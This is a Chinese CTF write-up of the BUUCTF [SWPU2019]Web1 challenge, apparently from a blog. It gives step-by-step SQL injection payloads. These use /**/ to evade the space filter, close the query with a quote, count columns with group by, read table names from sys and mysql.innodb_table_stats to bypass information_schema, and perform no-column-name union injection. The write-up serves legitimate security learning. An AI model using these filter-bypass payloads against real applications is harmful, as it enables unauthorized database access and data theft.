BUUCTF-[SWPU2019]Web1(bypass information_schema,无列名注入)

登录进去后,首先尝试了union注入,但是发现空格被过滤,于是使用/**/绕过。
在这里插入图片描述

然后判断列数,但是发现注释符被过滤了,无法使用,于是在SQL语句后加一个单引号闭合后面的语句limit 0,1;'

由于or被禁用,所以order by也无法使用,改为group by'/**/group/**/by/**/22,'

最后判断出列数有22列,回显位置为2和3.

title='/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'&content=&ac=add

在这里插入图片描述

由于过滤or无法使用information_schema库,这里我根据题解又学会了information_schema的bypass。

使用sys库,来完成表名的查询sys.schema_auto_increment_columns

但是buuctf这里的环境好像有点不一样。。。显示这个表不存在,难道BUU改了下环境?

title='/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22&content=&ac=add

在这里插入图片描述


然后看了看BUU的题解,用的是另外一个表mysql.innodb_table_stats,根据聊一聊bypass information_schema 这篇文章所说,现在网络上能搜索到的文章大部分都是利用innoDB引擎绕过对information_schema的过滤,但是mysql默认是关闭InnoDB存储引擎的,好吧,把这两个表都记住,以后都试试。

查表:

select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats

在这里插入图片描述

无列名注入:

title='/**/union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

在这里插入图片描述
总结:
1,information_schema的bypass:

  • sys.schema_auto_increment_columns

  • Mysql5.6及以上版本中 innodb_index_statsinnodb_table_stats这两个表中都包含所有新创建的数据库和表名

2,无列名注入:https://www.jianshu.com/p/6eba3370cfab

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值